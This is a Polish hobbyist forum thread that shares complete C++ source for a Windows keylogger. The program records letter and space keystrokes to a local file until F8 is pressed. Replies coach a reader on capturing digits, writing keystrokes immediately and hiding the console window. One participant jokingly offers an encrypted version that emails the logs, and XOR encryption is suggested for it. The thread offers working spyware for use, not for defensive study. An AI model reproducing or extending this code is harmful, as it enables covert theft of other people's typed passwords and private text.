[C++] Najprostszy keylogger lokalny

Zbiór ciekawych kodów źródłowych, skryptów i gotowców.
Regulamin forum
-Staraj się poprzedzać nazwę tematu prefiksem z nazwą języka programowania np. [Python] nazwa tematu.
-Wklejaj źródła w znaczniku

Kod: Zaznacz cały

[/b].
-Staraj się w skrócie opisać do czego dane źródło służy.
[b]-Zawsze podaj stronę domową autora (jeśli znasz te informacje)[/b]. Szanujemy cudzą prace!
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

[C++] Najprostszy keylogger lokalny

Post autor: F3nix »

Kod źródłowy najprostrzego keyloggera napisanego w C++. Keylogger rejestruje znaki, aż do wciśnięcia klawisza F8 na klawiaturze następnie zapisuje logi do pliku logi.txt.

Przetestowane w środowisku Code::Blocks 13.12 z kompilatorem MinGW.

Kod: Zaznacz cały

#include <fstream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
    int Char;
    string text;
    ofstream log;
    log.open("logi.txt");
    while(!GetAsyncKeyState(VK_F8))
    {
        for(Char = 65; Char < 90; Char++)
        {
            if(GetAsyncKeyState(Char) == -32767)
            {
                text+=Char;
            }
        }
        if(GetAsyncKeyState(VK_SPACE)==-32767)
        {
            text+=" ";
        }


    }
    log << text;
    log.close();
    return 0;
}
Czajkos
Posty: 2
Rejestracja: 28 kwie 2015, 21:22

Re: [C++] Najprostszy keylogger lokalny

Post autor: Czajkos »

Mam pytanie, czy dokument logi.txt trzeba stworzyć samemu, czy stworzy o się samoistnie (jeżeli tak, to gdzie on się znajduje)?
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [C++] Najprostszy keylogger lokalny

Post autor: F3nix »

Tworzy się automatycznie w folderze z keyloggerem (tam gdzie zostanie uruchomiony). A zapisuje logi gdy wciśnie się klawisz F8, ponieważ jest poza pętlą przekierowanie zebranych danych do pliku. Tutaj dopiero zapisuje logi w tym pliku:

Kod: Zaznacz cały

log << text;
log.close();
Czajkos
Posty: 2
Rejestracja: 28 kwie 2015, 21:22

Re: [C++] Najprostszy keylogger lokalny

Post autor: Czajkos »

Dziękuję za odpowiedź :D
dadas96
Posty: 1
Rejestracja: 28 kwie 2015, 21:56

Re: [C++] Najprostszy keylogger lokalny

Post autor: dadas96 »

1. Jak zrobić rozróżnianie cyfr od liczb? Ten keylogger pokazuje tylko litery (char), żadnych cyfr ani znaków specjalnych
2. Zapisywanie wprowadzonego znaku bezpośrednio po jego wciśnięciu, zamiast oczekiwania na wciśnięcie 'F8', da się, ale jak?
3. Co zrobić, aby program uruchomił się w tle? Tak, by nie było go widać w pasku zadań.
Pozdrawiam.
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [C++] Najprostszy keylogger lokalny

Post autor: F3nix »

1. Jak zrobić rozróżnianie cyfr od liczb? Ten keylogger pokazuje tylko litery (char), żadnych cyfr ani znaków specjalnych
2. Zapisywanie wprowadzonego znaku bezpośrednio po jego wciśnięciu, zamiast oczekiwania na wciśnięcie 'F8', da się, ale jak?
3. Co zrobić, aby program uruchomił się w tle? Tak, by nie było go widać w pasku zadań.
Pozdrawiam.

Jesteśmy fanami intelektualnych gier. Jeśli zaczynasz dopiero przygodę z programowaniem, polecamy darmowe kursy C++ dostępne w internecie. Aby chociaż miejwięcej rozumieć kod.

1. Nie będę dawał gotowca ale kluczem do rozwiązania zagadki jest linia:

Kod: Zaznacz cały

for(Char = 65; Char < 90; Char++)
jest to pętla która sprawdza znaki ASCII od 65 do 90. Polecam przeczytać czym są znaki ASCII: http://pl.wikipedia.org/wiki/ASCII.
Przyjrzyj się następnie zamieszczonej tabeli tam (lub wpisz w grafike google "tablica ASCII"). Z naciskiem na kolumne DEC (dec to skrót od decimal czyli liczby dziesiętne tak na marginesie). Spójrz co znajduje się pomiędzy cyframi tam 65 a 90... Masz pomysł jak dodać rejestrowanie cyfr? :-)

2. Oczywiście że się da. Podpowiedź to pokombinowanie w miejscu linijki:

Kod: Zaznacz cały

text+=Char;
Druga podpowiedź:
Linia kodu:

Kod: Zaznacz cały

log << text;
odpowiada za zapisanie faktyczne do pliku znaków.
Morał taki że musisz zamiast dodawać do zmiennej text znaki wciśnietę to od razu je zapisać...
Warto przeanalizować w google jak działa ofstream czyli zapis do plików/strumienia:
http://qvazar.pl/kurs-cpp/pliki-zapis-odczyt ewentualnie zainteresować się funkcją fopen.
3) W google wpisać coś w stylu:
code blocks hide console window
Awatar użytkownika
steo
Posty: 173
Rejestracja: 30 kwie 2015, 15:05
Lokalizacja: Universe

Re: [C++] Najprostszy keylogger lokalny

Post autor: steo »

Mógłbym lekko go przerobić, aby wszystko było szyfrowane i wysyłało dane na email, nie wiem czy komuś by się przydało. Oczywiście, tylko i wyłącznie w celach edukacyjnych. ;)
Obrazek
Obrazek
Jak to się mówi... Z debilami nie dyskutuję. Ale trzeba z kimś rozmawiać? ~steo
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [C++] Najprostszy keylogger lokalny

Post autor: F3nix »

2. Nikt nigdy nie powinien rozwiązywać problemu dwa razy.

Twórcze umysły są wartościowym, rzadkim surowcem. Nie powinny być marnotrawione na powtórne wynajdowanie koła jeśli jest tyle fascynujących problemów czekających na rozwiązanie.
Aby zachowywać się jak hacker musisz wierzyć, że myślowy czas innych hackerów jest cenny - tak bardzo, że niemal moralnym obowiązkiem jest, abyś dzielił się informacjami, rozwiązywał problemy i rozdawał rozwiązania tak, aby inni hackerzy mogli rozwiązywać nowe problemy zamiast konieczności ciągłego przetwarzania starych.

(Nie musisz wierzyć, że masz obowiązek rozdawać za darmo całą swoją twórczą działalność, choć hackerzy, którzy tak czynią uzyskują najwięcej szacunku od innych. Nie jest sprzeczne z wartościami hackera, żebyś mógł sprzedać wystarczająco dużo, aby mieć dostęp do pożywienia, dachu nad głową i komputerów. Jest logiczne, że używasz swoich hackerskich umiejętności aby utrzymać rodzinę lub wręcz wzbogacić się, tak długo, dopóki robiąc to nie zapomnisz, że jesteś hackerem.)
Źródło: http://www.mkgajwer.jgora.net/ers.html

Co do szyfrowania niedawno na fanpage wrzucaliśmy XOR'a gotowiec w C++ więc można wykorzystać do szyfrowania stringów.
Awatar użytkownika
steo
Posty: 173
Rejestracja: 30 kwie 2015, 15:05
Lokalizacja: Universe

Re: [C++] Najprostszy keylogger lokalny

Post autor: steo »

No popatrzcie jak gardzi. :mrgreen:
Obrazek
Obrazek
Jak to się mówi... Z debilami nie dyskutuję. Ale trzeba z kimś rozmawiać? ~steo
Awatar użytkownika
F3nix
Posty: 332
Rejestracja: 28 kwie 2015, 20:51

Re: [C++] Najprostszy keylogger lokalny

Post autor: F3nix »

Ja nie gardze, Twój czas Twoja sprawa... a potem pytania "JAK TO SKOMPILOWAĆ", "JAK TO WYSŁAĆ", "NIE DZIAŁA". xD
ODPOWIEDZ